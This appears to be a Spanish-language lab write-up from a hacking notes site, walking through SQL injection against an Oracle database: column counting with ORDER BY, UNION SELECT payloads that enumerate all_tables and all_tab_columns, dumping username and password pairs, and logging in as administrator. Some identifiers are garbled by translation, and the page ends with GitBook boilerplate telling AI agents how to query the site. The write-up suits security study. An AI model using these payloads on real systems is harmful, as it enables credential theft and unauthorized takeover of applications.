> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/database-enumeration-on-oracle.md).

# Enumeración de bases de datos Oracle

### Ataque de inyección SQL, listado del contenido de la base de datos en Oracle

* **Contexto / Vulnerabilidad:** `category` filtro vulnerable a inyección SQL (resultados devueltos en la respuesta). Usando `ORDER BY` / `UNION` permite enumerar y extraer datos de las vistas del sistema de Oracle.
* **Objetivo:** Identificar la tabla de usuarios, listar sus columnas, extraer `username` / `contraseña` pares y conéctate como `administrator`.

### Pasos concisos (payloads proporcionados)

1. **Determina el número de columnas**/ Prueba `ORDER BY` incremental hasta error:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```
2. Validar UNION SELECT (mismo número de columnas que la solicitud original):

```sql
' UNION SELECT '1','2'-- -
```

3. **Listar tablas (Oracle)** — usar `ALL_TABLES`:

```sql
' UNION SELECT NULL, table_name FROM all_tables-- -
```

(Adaptar `NULL`/número de columnas según la consulta vulnerable.)

4. Listar columnas de una tabla identificada (aquí USERS/ JREIFY):

```sql
' UNION SELECT NULL, column_name
  FROM all_tab_columns
  WHERE table_name = 'USERS_JREIFY'-- -
```

Nota: Oracle normaliza los nombres no listados en MAYÚSCULAS.

5. Extraer contenido (volcado) — ejemplo con columnas identificadas:

```sql
' UNION SELECT USERNAME_SWTJLF, PASSWORD_NTBPBA
  FROM USERS_JREIFY-- -
```

Ajustar el orden/tipos; usar `TO_CHAR`, `CAST` o `NULL` para hacer coincidir los tipos si es necesario.

6. **Inicio de sesión de administrador**

* Usa las credenciales exfiltradas en la página de inicio de sesión.
* O, si es necesario, ejecutar una omisión de autenticación una vez que se hayan confirmado las columnas.

Detalles técnicos útiles

* Si UNION falla debido a tipos diferentes, reemplaza las columnas con null o TO/ CHAR(col) para forzar la compatibilidad.
* Las vistas de metadatos (ALL/ TABLES, ALL/ TAB/ COLUMNS, DBA/ /\*) pueden estar restringidas por los privilegios de la cuenta de BD; el acceso varía según los permisos de la aplicación.
* Oracle a menudo requiere nombres en MAYÚSCULAS para comparar table/ name = 'USERS/ JREIFY' a menos que la tabla se haya creado entre comillas.

Impacto

* Compatibilidad de identificadores, aumento de privilegios, exfiltración/modificación de datos, control completo de la aplicación.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/sql-injection/database-enumeration-on-oracle.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
